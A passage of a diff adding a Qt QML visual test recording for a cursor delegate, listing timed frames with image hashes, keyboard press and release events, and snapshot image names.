+ msec: 704
+ hash: "877f64d93ba9d0d31181c3600bc02f80"
+ }
+ Frame {
+ msec: 720
+ hash: "6b3210a6e4f8c448e5d90c6dada7a114"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 736
+ hash: "4e64391a8142f94cb1ae38082218af01"
+ }
+ Frame {
+ msec: 752
+ hash: "7bc3285fc6a0275622a76e605e2f7609"
+ }
+ Frame {
+ msec: 768
+ hash: "895b45ca668e4fe112913d818f28631e"
+ }
+ Frame {
+ msec: 784
+ hash: "98e49c0ade7408c3229489ba6681088b"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "98c7370ca0f570dbe23c2724cb4ddead"
+ }
+ Frame {
+ msec: 816
+ hash: "a71a7684552b072754469f6ae16d18b6"
+ }
+ Frame {
+ msec: 832
+ hash: "9cf40ec30d20e2cf95de2bfede4e46c6"
+ }
+ Frame {
+ msec: 848
+ hash: "ed1efc0873a05be9f0c001c9cab94414"
+ }
+ Frame {
+ msec: 864
+ hash: "4909c38a27da00d9c6f0dafc52c45035"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 880
+ hash: "81d4e7ca4265332555434fdd5f19c621"
+ }
+ Frame {
+ msec: 896
+ hash: "c336bac65473a8b76cecca1854c94752"
+ }
+ Frame {
+ msec: 912
+ hash: "8bf0b0c6bd2c0fbf7c9f3529a5b92ebc"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 928
+ hash: "8b7f6b8eebd1d7648becb91d256ac475"
+ }
+ Frame {
+ msec: 944
+ hash: "6fcc3b9dee14bcdd2b60a32f696eec05"
+ }
+ Frame {
+ msec: 960
+ hash: "939ac75fa99f482509ee1bb6b93f2ed0"
+ }
+ Frame {
+ msec: 976
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 1024
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 1040
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 1072
+ hash: "3d6db6e3ee77ee75341ce16dc4a56c59"
+ }
+ Frame {
+ msec: 1088
+ hash: "ff43ccdb14ae4d12ffead2eb261a5056"
+ }
+ Frame {
+ msec: 1104
+ hash: "cd14458426f94efbbc729112e6a481c5"
+ }
+ Frame {
+ msec: 1120
+ hash: "6bd66d118ff27b0cea7944ea22c727c9"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1136
+ hash: "c294f1f7b7dd842d797ec5346f8794b3"
+ }
+ Frame {
+ msec: 1152
+ hash: "185228bb06e052a279bc0481760a1920"
+ }
+ Frame {
+ msec: 1168
+ hash: "81b01e755b7fcbda18634b88052326e4"
+ }
+ Frame {
+ msec: 1184
+ hash: "ff16045d2ae8a5e48440fe5094780987"
+ }
+ Frame {
+ msec: 1200
+ hash: "01b2a227010cba52952763cd9fbc8c94"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1216
+ hash: "3c6ffa5250e90c994e334745efa15b19"
+ }
+ Frame {
+ msec: 1232
+ hash: "9656663feae42fced5646d8c21ad05ec"
+ }
+ Frame {
+ msec: 1248
+ hash: "95ecea8c39c38c2319a8a0de1c3c97b1"
+ }
+ Frame {
+ msec: 1264
+ hash: "7bc610d4efadf5ef603d0c62e81021b2"
+ }
+ Frame {
+ msec: 1280
+ hash: "b5343907926d112165a1e8914fa12383"
+ }
+ Frame {
+ msec: 1296
+ hash: "7b1be2c0e963b92accd35606cd9521f5"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "2004b105d197f736f68eef070574767d"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1328
+ hash: "dbafec45c35739835180f7644f4bf66c"
+ }
+ Frame {
+ msec: 1344
+ hash: "ed86b86cc0eb1c8c05b0ddb063937270"
+ }
+ Frame {
+ msec: 1360
+ hash: "bdc640c90728a4f39c22e0a415c595b4"
+ }
+ Frame {
+ msec: 1376
+ hash: "2af0c828b767942ba1745dd9838a54b5"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "547f4cbf1637d997f50f755965dd4704"
+ }
+ Frame {
+ msec: 1408
+ hash: "ede46a74a6e5297454da63227684d6cf"
+ }
+ Frame {
+ msec: 1424
+ hash: "3a8747e0b26763c7bbc5ecd433c41d5a"
+ }
+ Frame {
+ msec: 1440
+ hash: "0ae75d3cf890fe95e53f4c2c2eb0c660"
+ }
+ Frame {
+ msec: 1456
+ hash: "1014ed3a45803f4ca8dfd669137d3502"
+ }
+ Frame {
+ msec: 1472
+ hash: "0abf6b3183b4b85eabbcb3f2d4173473"
+ }
+ Frame {
+ msec: 1488
+ hash: "39dbf6788ad997531894fd5138953f21"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "0fd0841b32106155e25c274b47724d60"
+ }
+ Frame {
+ msec: 1520
+ hash: "9fa396cab1425ca03e394c681ccb798d"
+ }
+ Frame {
+ msec: 1536
+ hash: "3c62d2a016bba6cd3f83982dcb7c1582"
+ }
+ Frame {
+ msec: 1552
+ hash: "ee6f16b9165eb663ae78716f723e5b16"
+ }
+ Frame {
+ msec: 1568
+ hash: "dd2c49caa8b8f690fd8a29aac7f85dc8"
+ }
+ Frame {
+ msec: 1584
+ hash: "79343bd1b7472d75daad9ae9848b89ba"
+ }
+ Frame {
+ msec: 1600
+ hash: "4c087ae0614e4736130235eea0af5267"
+ }
+ Frame {
+ msec: 1616
+ hash: "87d75b0e3bd197084f8d8c0601ba195d"
+ }
+ Frame {
+ msec: 1632
+ hash: "ccd66bab965c78aa3b39728aef0648c6"
+ }
+ Frame {
+ msec: 1648
+ hash: "d311116fafc9693e6c55eb2c1273a487"
+ }
+ Frame {
+ msec: 1664
+ hash: "a4c1bc9c9f987bacfd19ea64f9a3ec2c"
+ }
+ Frame {
+ msec: 1680
+ hash: "a6b86821b0563c06b478b62037edffe5"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1696
+ hash: "30b8fd8f9d3e63c9101cf3558fc7f0d6"
+ }
+ Frame {
+ msec: 1712
+ hash: "8224ae61cfce9bbf9f69677071285ddc"
+ }
+ Frame {
+ msec: 1728
+ hash: "1b7408ad665e5e316893397c9362e069"
+ }
+ Frame {
+ msec: 1744
+ hash: "7ace1472840c3184263fe23cec5ba929"
+ }
+ Frame {
+ msec: 1760
+ hash: "ea3f542c80564ad841675197b51272c9"
+ }
+ Frame {
+ msec: 1776
+ hash: "0c4989dbd8d4008c1834140e28b98405"
+ }
+ Frame {
+ msec: 1792
+ hash: "337452c36385bebadb35498172eb82ef"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "030ff7472ad4d566166e99aeb1daf1ad"
+ }
+ Frame {
+ msec: 1824
+ hash: "59f7bb68de85445bad114caca87ae859"
+ }
+ Frame {
+ msec: 1840
+ hash: "5c0e8905d830357ca7bc26c6383a2dcc"
+ }
+ Frame {
+ msec: 1856
+ hash: "b00e889ee28556eaca18a6d52b8b4c0c"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "07d4cc37e71ff6fb34c1370db27bd0f9"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "86d74cd53c541fde95b36a3899859272"
+ }
+ Frame {
+ msec: 1904
+ hash: "82457df6a73b8aa32b567cac53d19679"
+ }
+ Frame {
+ msec: 1920
+ hash: "63be8d924bace20717f87f7d260060e5"
+ }
+ Frame {
+ msec: 1936
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "d274989f514174cda3316fa6650aed05"
+ }
+ Frame {
+ msec: 1968
+ hash: "f1cae5982318ec621423513f7a090adf"
+ }
+ Frame {
+ msec: 1984
+ hash: "1b30dd4a817370d8b6f5908cef69eeb9"
+ }
+ Frame {
+ msec: 2000
+ hash: "1b30dd4a817370d8b6f5908cef69eeb9"
+ }
+ Frame {
+ msec: 2016
+ hash: "1b30dd4a817370d8b6f5908cef69eeb9"
+ }
+ Frame {
+ msec: 2032
+ hash: "1b30dd4a817370d8b6f5908cef69eeb9"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2048
+ hash: "1b30dd4a817370d8b6f5908cef69eeb9"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "f1cae5982318ec621423513f7a090adf"
+ }
+ Frame {
+ msec: 2080
+ hash: "d274989f514174cda3316fa6650aed05"
+ }
+ Frame {
+ msec: 2096
+ hash: "4c51c2e71ee1fef13b9ac5213b057cef"
+ }
+ Frame {
+ msec: 2112
+ hash: "63be8d924bace20717f87f7d260060e5"
+ }
+ Frame {
+ msec: 2128
+ hash: "82457df6a73b8aa32b567cac53d19679"
+ }
+ Frame {
+ msec: 2144
+ hash: "86d74cd53c541fde95b36a3899859272"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "9bfb6b9a2604b4c534539bc731abda10"
+ }
+ Frame {
+ msec: 2176
+ hash: "dfa52bb483388dfee56577968d013c8f"
+ }
+ Frame {
+ msec: 2192
+ hash: "ea77a49e7e246649248e19b72d6433c9"
+ }
+ Frame {
+ msec: 2208
+ hash: "348e6a82b1491739e72c5c361158a967"
+ }
+ Frame {
+ msec: 2224
+ hash: "bb52aa533659d770d01deb8bef5a8b4d"
+ }
+ Frame {
+ msec: 2240
+ hash: "082441b5fea02f2676ad4d53aefb6927"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
+ hash: "9194cd1399ceeda421944cd87182039b"
+ }
+ Frame {
+ msec: 2272
+ hash: "edff1333eb3a0047c527503ab3dbe71c"
+ }
+ Frame {
+ msec: 2288
+ hash: "e5c9931c8baf260d77f9cfcc1bb41101"
+ }
+ Frame {
+ msec: 2304
+ hash: "75c37de92c5af3305733a92d405a4ec8"
+ }
+ Frame {
+ msec: 2320
+ hash: "f27082799d0860c660d16c3f9fe6e538"
+ }
+ Frame {
+ msec: 2336
+ hash: "5d79ff6cac5bd6943b656964c1d78b00"
+ }
+ Frame {
+ msec: 2352
+ hash: "d58a1176858e49c89fc77bed260c6269"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "70deb136fd364646e73390f0aa751baa"
+ }
+ Frame {
+ msec: 2384
+ hash: "ed3bf83d975d6b8f830ce0b5a0ad64cc"
+ }
+ Frame {
+ msec: 2400
+ hash: "9007b93c9b9ae3612a0f97fe2e2ae825"
+ }
+ Frame {
+ msec: 2416
+ hash: "c39f05a5471fb3a26f57feab2b99c8fa"
+ }
+ Frame {
+ msec: 2432
+ hash: "49cd710decb32599d7a9c8e0239bf9a5"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "df3e2a44ed4e7cf6adb49f84b1d4fc53"
+ }
+ Frame {
+ msec: 2464
+ hash: "5b7984204405b31a0262da011ff3903e"
+ }
+ Frame {
+ msec: 2480
+ hash: "0dd2dc00c42eb7bb731d64e9a7188c83"
+ }
+ Frame {
+ msec: 2496
+ hash: "1b811aa744375668672fb8b4e0d75621"
+ }
+ Frame {
+ msec: 2512
+ hash: "f34c084f977a20fcf96eaf1e7b5423f7"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2528
+ hash: "145b1c6526e04f02adf94eb5d0369ae0"
+ }
+ Frame {
+ msec: 2544
+ hash: "1b047f1cb4738188c10d8b05e636694a"
+ }
+ Frame {
+ msec: 2560
+ hash: "3f5921d19c63c7d434f0428cb155426e"
+ }
+ Frame {
+ msec: 2576
+ hash: "940a9ca625a813af3c9f74600b9dd668"
+ }
+ Frame {
+ msec: 2592
+ hash: "3df53c013eae20a71e4337be5499ff65"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "34e4524d132bbb2a9e4aaffa0982ad33"
+ }
+ Frame {
+ msec: 2624
+ hash: "87942e371bd51726dbfa5a09fdd31631"
+ }
+ Frame {
+ msec: 2640
+ hash: "a2baf811e2b51215c4e5f88f0854f5a5"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "cc12390ac2a3296c04f2538fb3b4cc00"
+ }
+ Frame {
+ msec: 2672
+ hash: "f209d32ec1742194c8436c36230a8239"
+ }
+ Frame {
+ msec: 2688
+ hash: "444d87a6fc19b8f0e8dcda0615a484aa"
+ }
+ Frame {
+ msec: 2704
+ hash: "2e492b973fffd68245c24d603d2a8221"
+ }
+ Frame {
+ msec: 2720
+ hash: "742ab9c9d4d8e37337f237f792aba160"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2736
+ hash: "74db3d75c0b30946b18edf5fc115dfce"
+ }
+ Frame {
+ msec: 2752
+ hash: "86685be3dbb2236676f767894c694a5a"
+ }
+ Frame {
+ msec: 2768
+ hash: "327351a6164fd566dd0f7ead05c7ea36"
+ }
+ Frame {
+ msec: 2784
+ hash: "ba9262ab3d8824e3a9cdcfe29059bbda"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "8c8aba2c44a7ea5b4d1e2206a3dbd6a2"
+ }
+ Frame {
+ msec: 2816
+ hash: "560067cbba922e2958bc7bae5ab93572"
+ }
+ Frame {
+ msec: 2832
+ hash: "566c84584e49c633fdada833ea386565"
+ }
+ Frame {
+ msec: 2848
+ hash: "615819749d92cb0b927e370c05321f5b"
+ }
+ Frame {
+ msec: 2864
+ hash: "9f11ee25f10750cc2302e6b528ab68b9"
+ }
+ Frame {
+ msec: 2880
+ hash: "5140d2ac5f1b361776fb335d43fcda1a"
+ }
+ Frame {
+ msec: 2896
+ image: "cursorDelegate.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "5fb75369681ac189b4de918dfa639f55"
+ }
+ Frame {
+ msec: 2928
+ hash: "9da1688d1084f1588b6d203698c8a2b6"
+ }
+ Frame {
+ msec: 2944
+ hash: "91bbae5a8fd04da71b1353f687c15d9f"
+ }
+ Frame {
+ msec: 2960
+ hash: "d3c0a6ed0510abb6135fb2e61f8721d8"
+ }
+ Frame {
+ msec: 2976
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 2992
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 3008
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 3024
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 3040
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 3056
+ hash: "23e728398c03c805066766081e434d41"
+ }
+ Frame {
+ msec: 3072
+ hash: "d3c0a6ed0510abb6135fb2e61f8721d8"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3088
+ hash: "d5519a015a697dcb1763748bd2789441"
+ }
+ Frame {
+ msec: 3104
+ hash: "d8ca000081bf565a4f3de5a5e94d894b"
+ }
+ Frame {
+ msec: 3120
+ hash: "03984ab7a25d80e24dd0650f881b8203"
+ }
+ Frame {
+ msec: 3136
+ hash: "edfea780ea62d48ac69afa5e6cad00af"
+ }
+ Frame {
+ msec: 3152
+ hash: "b00a5d2424568d823eb7be0438dafa1f"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "76fda33dcea27a034ddfab61031d8de6"
+ }
+ Frame {
+ msec: 3184
+ hash: "11b9e3a58fd2c6d86e61a5e3b7db04b4"
+ }
+ Frame {
+ msec: 3200
+ hash: "f7c583d00d7154d9e8af88bec706f97f"
+ }
+ Frame {
+ msec: 3216
+ hash: "8680b8c69c544213fb8d55233bde4ce5"
+ }
+ Frame {
+ msec: 3232
+ hash: "74fc148e3c466023e2449c6b1367bceb"
+ }
+ Frame {
+ msec: 3248
+ hash: "9495a0ffe7589351cfced8b26f6d64e4"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "519c58c8c0f62d96005b49f68648565b"
+ }
+ Frame {
+ msec: 3280
+ hash: "609a2d8f02c8b42e0921a2a900edccbd"
+ }
+ Frame {
+ msec: 3296
+ hash: "c54617fb7b21ef8dc2bc0d8492ec476e"
+ }
+ Frame {
+ msec: 3312
+ hash: "096dc0d8b3ed47894ab0289bcfe3aa8f"
+ }
+ Frame {
+ msec: 3328
+ hash: "5b725bb5951caa968d221fe7c5dd6370"
+ }
+ Frame {
+ msec: 3344
+ hash: "6733673178a1b85b22d22610a6f6c3d7"
+ }
+ Frame {
+ msec: 3360
+ hash: "5efbed8f4de4387572c5a98ba14f3c27"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3376
+ hash: "650a0792ee0025e12f7f0ce6df72df6c"
+ }
+ Frame {
+ msec: 3392
+ hash: "0064815fa6e2bcbbe5f2ea8222ddd2b0"
+ }
+ Frame {
+ msec: 3408
+ hash: "13ca683ddd0071771e853a09fc6e5842"
+ }
+ Frame {
+ msec: 3424
+ hash: "1625325eee9b4eaab2df135e0d2f0f14"
+ }
+ Frame {
+ msec: 3440
+ hash: "9e3f1df1b243167b5470778e8c44f7d1"
+ }
+ Frame {
+ msec: 3456
+ hash: "493634fa37f10eb02d255253171d190d"
+ }
+ Frame {
+ msec: 3472
+ hash: "86ddfc357d158deae39a7565c512d0c0"
+ }
+ Frame {
+ msec: 3488
+ hash: "74486ca31cf165f0e55aacfae7af9e4c"
+ }
+ Frame {
+ msec: 3504
+ hash: "3479f78faf16d4d07b6b44d7682ac016"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3520
+ hash: "cb35c6a887f191b2eb5de961912c94b8"
+ }
+ Frame {
+ msec: 3536
+ hash: "53f5028e96fc65cc6171e78c31c16026"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "c77e078983f12d8007c5509cd8b356f9"
+ }
+ Frame {
+ msec: 3568
+ hash: "ec2da5c6869161936e2598961c605674"
+ }
+ Frame {
+ msec: 3584
+ hash: "bb9adcb5730aeafb2956e01d9aacaee1"
+ }
+ Frame {
+ msec: 3600
+ hash: "49cd710decb32599d7a9c8e0239bf9a5"
+ }
+ Frame {
+ msec: 3616
+ hash: "c39f05a5471fb3a26f57feab2b99c8fa"
+ }
+ Frame {
+ msec: 3632
+ hash: "9007b93c9b9ae3612a0f97fe2e2ae825"
+ }
+ Frame {
+ msec: 3648
+ hash: "ed3bf83d975d6b8f830ce0b5a0ad64cc"
+ }
+ Frame {
+ msec: 3664
+ hash: "70deb136fd364646e73390f0aa751baa"
+ }
+ Frame {
+ msec: 3680
+ hash: "d58a1176858e49c89fc77bed260c6269"
+ }
+ Frame {
+ msec: 3696
+ hash: "5d79ff6cac5bd6943b656964c1d78b00"
+ }
+ Frame {
+ msec: 3712
+ hash: "f27082799d0860c660d16c3f9fe6e538"
+ }
+ Frame {
+ msec: 3728
+ hash: "75c37de92c5af3305733a92d405a4ec8"
+ }
+ Frame {
+ msec: 3744
+ hash: "e5c9931c8baf260d77f9cfcc1bb41101"
+ }
+ Frame {
+ msec: 3760
+ hash: "edff1333eb3a0047c527503ab3dbe71c"
+ }
+ Frame {
+ msec: 3776
+ hash: "9194cd1399ceeda421944cd87182039b"
+ }
+ Frame {
+ msec: 3792
+ hash: "082441b5fea02f2676ad4d53aefb6927"
+ }
+ Frame {
+ msec: 3808
+ hash: "bb52aa533659d770d01deb8bef5a8b4d"
+ }
+ Frame {
+ msec: 3824
+ hash: "348e6a82b1491739e72c5c361158a967"
+ }
+ Frame {
+ msec: 3840
+ hash: "ea77a49e7e246649248e19b72d6433c9"
+ }
+ Frame {
+ msec: 3856
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "9bfb6b9a2604b4c534539bc731abda10"
+ }
+ Frame {
+ msec: 3888
+ hash: "02b01092c1f0e279872490306163647d"
+ }
+ Frame {
+ msec: 3904
+ hash: "acf688ab0ceba1d5d1e0225b90fd706f"
+ }
+ Frame {
+ msec: 3920
+ hash: "5866ceee0fd72361dd490a2163b4fc55"
+ }
+ Frame {
+ msec: 3936
+ hash: "218083c830ad133e2aeb4692d2d1517d"
+ }
+ Frame {
+ msec: 3952
+ hash: "3542537f0b0e1375d81c7f0365bbdf1d"
+ }
+ Frame {
+ msec: 3968
+ hash: "ca17401d638025fde8aad18b9a358029"
+ }
+ Frame {
+ msec: 3984
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4000
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4016
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4032
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4048
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4064
+ hash: "ca17401d638025fde8aad18b9a358029"
+ }
+ Frame {
+ msec: 4080
+ hash: "3542537f0b0e1375d81c7f0365bbdf1d"
+ }
+ Frame {
+ msec: 4096
+ hash: "218083c830ad133e2aeb4692d2d1517d"
+ }
+ Frame {
+ msec: 4112
+ hash: "5866ceee0fd72361dd490a2163b4fc55"
+ }
+ Frame {
+ msec: 4128
+ hash: "acf688ab0ceba1d5d1e0225b90fd706f"
+ }
+ Frame {
+ msec: 4144
+ hash: "02b01092c1f0e279872490306163647d"
+ }
+ Frame {
+ msec: 4160
+ hash: "9bfb6b9a2604b4c534539bc731abda10"
+ }
+ Frame {
+ msec: 4176
+ hash: "dfa52bb483388dfee56577968d013c8f"
+ }
+ Frame {
+ msec: 4192
+ hash: "ea77a49e7e246649248e19b72d6433c9"
+ }
+ Frame {
+ msec: 4208
+ hash: "348e6a82b1491739e72c5c361158a967"
+ }
+ Frame {
+ msec: 4224
+ hash: "bb52aa533659d770d01deb8bef5a8b4d"
+ }
+ Frame {
+ msec: 4240
+ hash: "082441b5fea02f2676ad4d53aefb6927"
+ }
+ Frame {
+ msec: 4256
+ hash: "9194cd1399ceeda421944cd87182039b"
+ }
+ Frame {
+ msec: 4272
+ hash: "edff1333eb3a0047c527503ab3dbe71c"
+ }
+ Frame {
+ msec: 4288
+ hash: "e5c9931c8baf260d77f9cfcc1bb41101"
+ }
+ Frame {
+ msec: 4304
+ hash: "75c37de92c5af3305733a92d405a4ec8"
+ }
+ Frame {
+ msec: 4320
+ hash: "f27082799d0860c660d16c3f9fe6e538"
+ }
+ Frame {
+ msec: 4336
+ hash: "5d79ff6cac5bd6943b656964c1d78b00"
+ }
+ Frame {
+ msec: 4352
+ hash: "d58a1176858e49c89fc77bed260c6269"
+ }
+ Frame {
+ msec: 4368
+ hash: "70deb136fd364646e73390f0aa751baa"
+ }
+ Frame {
+ msec: 4384
+ hash: "ed3bf83d975d6b8f830ce0b5a0ad64cc"
+ }
+ Frame {
+ msec: 4400
+ hash: "9007b93c9b9ae3612a0f97fe2e2ae825"
+ }
+ Frame {
+ msec: 4416
+ hash: "c39f05a5471fb3a26f57feab2b99c8fa"
+ }
+ Frame {
+ msec: 4432
+ hash: "49cd710decb32599d7a9c8e0239bf9a5"
+ }
+ Frame {
+ msec: 4448
+ hash: "bb9adcb5730aeafb2956e01d9aacaee1"
+ }
+ Frame {
+ msec: 4464
+ hash: "ec2da5c6869161936e2598961c605674"
+ }
+ Frame {
+ msec: 4480
+ hash: "c77e078983f12d8007c5509cd8b356f9"
+ }
+ Frame {
+ msec: 4496
+ hash: "53f5028e96fc65cc6171e78c31c16026"
+ }
+ Frame {
+ msec: 4512
+ hash: "cb35c6a887f191b2eb5de961912c94b8"
+ }
+ Frame {
+ msec: 4528
+ hash: "3479f78faf16d4d07b6b44d7682ac016"
+ }
+ Frame {
+ msec: 4544
+ hash: "74486ca31cf165f0e55aacfae7af9e4c"
+ }
+ Frame {
+ msec: 4560
+ hash: "86ddfc357d158deae39a7565c512d0c0"
+ }
+ Frame {
+ msec: 4576
+ hash: "493634fa37f10eb02d255253171d190d"
+ }
+ Frame {
+ msec: 4592
+ hash: "9e3f1df1b243167b5470778e8c44f7d1"
+ }
+ Frame {
+ msec: 4608
+ hash: "1625325eee9b4eaab2df135e0d2f0f14"
+ }
+ Frame {
+ msec: 4624
+ hash: "13ca683ddd0071771e853a09fc6e5842"
+ }
+ Frame {
+ msec: 4640
+ hash: "0064815fa6e2bcbbe5f2ea8222ddd2b0"
+ }
+ Frame {
+ msec: 4656
+ hash: "650a0792ee0025e12f7f0ce6df72df6c"
+ }
+ Frame {
+ msec: 4672
+ hash: "5efbed8f4de4387572c5a98ba14f3c27"
+ }
+ Frame {
+ msec: 4688
+ hash: "6733673178a1b85b22d22610a6f6c3d7"
+ }
+ Frame {
+ msec: 4704
+ hash: "5b725bb5951caa968d221fe7c5dd6370"
+ }
+ Frame {
+ msec: 4720
+ hash: "096dc0d8b3ed47894ab0289bcfe3aa8f"
+ }
+ Frame {
+ msec: 4736
+ hash: "c54617fb7b21ef8dc2bc0d8492ec476e"
+ }
+ Frame {
+ msec: 4752
+ hash: "609a2d8f02c8b42e0921a2a900edccbd"
+ }
+ Frame {
+ msec: 4768
+ hash: "519c58c8c0f62d96005b49f68648565b"
+ }
+ Frame {
+ msec: 4784
+ hash: "5d1dd05aade754c204d13f5de03413dd"
+ }
+ Frame {
+ msec: 4800
+ hash: "ceca317086930994c35b0ed08db71d64"
+ }
+ Frame {
+ msec: 4816
+ image: "cursorDelegate.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "64fcbd6ba961634b0ba33ec5b6693945"
+ }
+ Frame {
+ msec: 4848
+ hash: "48a6ced88807a05aea34b47d36261347"
+ }
+ Frame {
+ msec: 4864
+ hash: "aafa7081d0f1a46478c0956ad5c56d1d"
+ }
+ Frame {
+ msec: 4880
+ hash: "6a9f14ec3fcd119afe68cbf372b13076"
+ }
+ Frame {
+ msec: 4896
+ hash: "927556bdf4e883c409ba8797001152ce"
+ }
+ Frame {
+ msec: 4912
+ hash: "b93878281f21c85c211908086f2899e7"
+ }
+ Frame {
+ msec: 4928
+ hash: "235b68812a3cb48fc09bd8319aef40f1"
+ }
+ Frame {
+ msec: 4944
+ hash: "8943d47912a4206e61836d99cca835da"
+ }
+ Frame {
+ msec: 4960
+ hash: "4d06d264f71d75421c9a6d5a87d6a9ba"
+ }
+}
